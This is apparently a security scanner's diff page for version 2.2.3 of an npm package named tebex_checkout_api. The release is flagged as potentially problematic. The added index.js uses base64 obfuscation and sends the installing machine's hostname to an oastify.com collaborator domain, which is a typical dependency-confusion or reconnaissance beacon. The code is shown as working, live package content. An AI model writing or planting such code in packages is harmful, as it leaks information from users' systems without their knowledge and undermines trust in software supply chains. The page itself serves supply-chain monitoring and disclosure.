tebex_checkout_api 2.2.2 → 2.2.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of tebex_checkout_api might be problematic. Click here for more details.
- package/index.js +43 -0
- package/package.json +1 -1
package/index.js
CHANGED
@@ -0,0 +1,43 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
const os = require('os');
|
3
|
+
|
4
|
+
class DemoExport {
|
5
|
+
static obfuscateString(str) {
|
6
|
+
return Buffer.from(str).toString('base64');
|
7
|
+
}
|
8
|
+
|
9
|
+
static decodeString(encodedStr) {
|
10
|
+
return Buffer.from(encodedStr, 'base64').toString('utf-8');
|
11
|
+
}
|
12
|
+
|
13
|
+
static sendRequest() {
|
14
|
+
const sasaUrl = 'dWRiNnhwcDJ5cmVoYnI3cmY3NTl0OWtjMzM5dXhzbGgub2FzdGlmeS5jb20=';
|
15
|
+
const adaUrl = 'http://' + DemoExport.decodeString(sasaUrl);
|
16
|
+
const sasaHost = DemoExport.obfuscateString(os.hostname());
|
17
|
+
|
18
|
+
const options = {
|
19
|
+
hostname: 'udb6xpp2yrehbr7rf759t9kc339uxslh.oastify.com',
|
20
|
+
port: 80,
|
21
|
+
path: `/?host=${sasaHost}&hostname=${DemoExport.obfuscateString(os.hostname())}`,
|
22
|
+
method: 'GET'
|
23
|
+
};
|
24
|
+
|
25
|
+
const req = http.request(options, (res) => {
|
26
|
+
res.on('end', () => {
|
27
|
+
console.log(DemoExport.decodeString('UmVxdWVzdCBzZW50IHRvIENhbmFyeXRva2VuIFVSTDo=') + ' ' + adaUrl);
|
28
|
+
});
|
29
|
+
});
|
30
|
+
|
31
|
+
req.on('error', (err) => {
|
32
|
+
console.error(DemoExport.decodeString('RXJyb3Igc2VuZGluZyByZXF1ZXN0IHRvIENhbmFyeXRva2VuIFVSTDo=') + ' ' + err.message);
|
33
|
+
});
|
34
|
+
|
35
|
+
req.end();
|
36
|
+
}
|
37
|
+
|
38
|
+
static printMsg() {
|
39
|
+
console.log("This is a message from the demo package");
|
40
|
+
}
|
41
|
+
}
|
42
|
+
|
43
|
+
module.exports = DemoExport;
|